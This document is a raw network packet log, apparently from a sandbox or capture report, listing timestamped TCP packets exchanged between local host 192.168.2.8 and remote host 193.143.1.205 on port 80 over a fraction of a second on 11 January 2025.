Jan 11, 2025 05:48:18.991894007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991911888 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991935968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.991951942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.991954088 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992000103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.992031097 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992667913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992717028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992738008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992744923 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.992782116 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.992904902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992923975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992954969 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992966890 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.992973089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.992995977 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993024111 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.993709087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993727922 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993751049 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993755102 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.993794918 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993796110 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.993814945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993832111 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993841887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.993880987 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.993907928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.994679928 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.994699955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.994723082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.994725943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.994741917 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.994766951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.995428085 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.996517897 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.996603012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.996618032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.996634007 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.996673107 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:18.996679068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.996700048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.996720076 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:18.996736050 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.000025988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.035178900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.035211086 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.035242081 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.035326004 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.035479069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.045972109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.056902885 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.073421955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073461056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073481083 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073561907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073565006 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.073612928 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.073672056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073690891 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073724985 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.073784113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073802948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073827028 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073837042 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.073859930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073893070 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.073924065 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073952913 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073973894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.073988914 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.073991060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.074013948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.074024916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.074187040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.074203968 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.074223995 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.080209970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.092256069 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.111895084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.111913919 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.111962080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.111989975 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112032890 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112034082 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112049103 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112085104 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112190962 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112209082 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112226963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112250090 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112252951 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112298012 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112339973 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112365961 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112392902 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112405062 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112413883 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112457037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112515926 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112608910 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112624884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112652063 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112657070 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112672091 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112694979 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112713099 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112736940 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112888098 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112904072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112931013 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112948895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112945080 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.112977982 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112992048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.112997055 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113029957 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113202095 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113240957 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113264084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113276005 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113286018 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113307953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113321066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113500118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113518953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113548040 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113552094 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113571882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113589048 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113595963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113629103 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113817930 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113837004 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113858938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113876104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113877058 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113898993 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113915920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113918066 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113939047 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113951921 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113953114 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113977909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.113996029 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.113996983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114020109 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114037037 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114309072 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114327908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114352942 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114458084 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114475012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114500999 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114501953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114538908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114543915 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114567041 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114584923 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114607096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114614964 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114619970 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114646912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114649057 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114664078 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114686012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114687920 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114703894 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114732027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.114732027 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114752054 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.114777088 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.115251064 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115269899 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115293026 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115294933 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.115320921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115329981 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.115346909 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115364075 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115386963 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115391970 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.115411997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115428925 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115430117 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.115454912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115473986 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115473986 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.115495920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115510941 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.115514994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.115559101 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.116807938 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.116857052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.116873980 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.116897106 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.116909027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.116944075 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.116975069 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.116990089 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117032051 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.117068052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117085934 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117109060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117125988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.117129087 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117172956 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.117270947 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117286921 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117312908 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117327929 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.117332935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.117373943 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.121912956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.121947050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.121963978 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.121997118 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.122011900 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.122015953 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.122035027 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.122087955 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.122102976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.122128010 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.122128010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.122165918 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.122947931 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.160581112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160598040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160625935 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160706043 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.160732985 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160753012 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160775900 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160779953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.160804033 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160816908 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.160821915 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.160857916 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.162883997 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.162904024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.162925959 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.162985086 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.163033009 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.163079977 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.164515972 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164540052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164560080 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164580107 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164597988 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.164602995 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164628983 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.164642096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164660931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164683104 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164685965 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.164701939 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.164726019 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200207949 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200242043 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200253010 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200264931 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200283051 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200309038 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200309992 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200326920 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200354099 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200356007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200382948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200396061 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200412989 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200432062 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200449944 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200556040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200571060 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200579882 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200588942 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200629950 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200808048 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.200853109 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.200994015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201009035 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201035976 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201047897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.201054096 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201076984 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201087952 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.201093912 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201129913 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.201498032 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201513052 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201539040 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201550007 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.201558113 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201586008 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201595068 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.201603889 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201621056 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201644897 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.201646090 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201663017 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201683998 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.201981068 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.201997042 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202023983 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202024937 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202040911 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202065945 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202070951 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202106953 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202128887 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202145100 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202169895 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202188015 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202193022 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202210903 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202231884 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202231884 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202249050 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202265024 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202269077 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202290058 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202299118 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202307940 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202330112 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202344894 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.202347994 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.202385902 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203113079 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203135014 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203156948 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203174114 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203177929 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203197956 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203213930 CET	49706	80	192.168.2.8	193.143.1.205
Jan 11, 2025 05:48:19.203264952 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203286886 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203301907 CET	80	49706	193.143.1.205	192.168.2.8
Jan 11, 2025 05:48:19.203308105 CET	49706	80	192.168.2.8	193.143.1.205
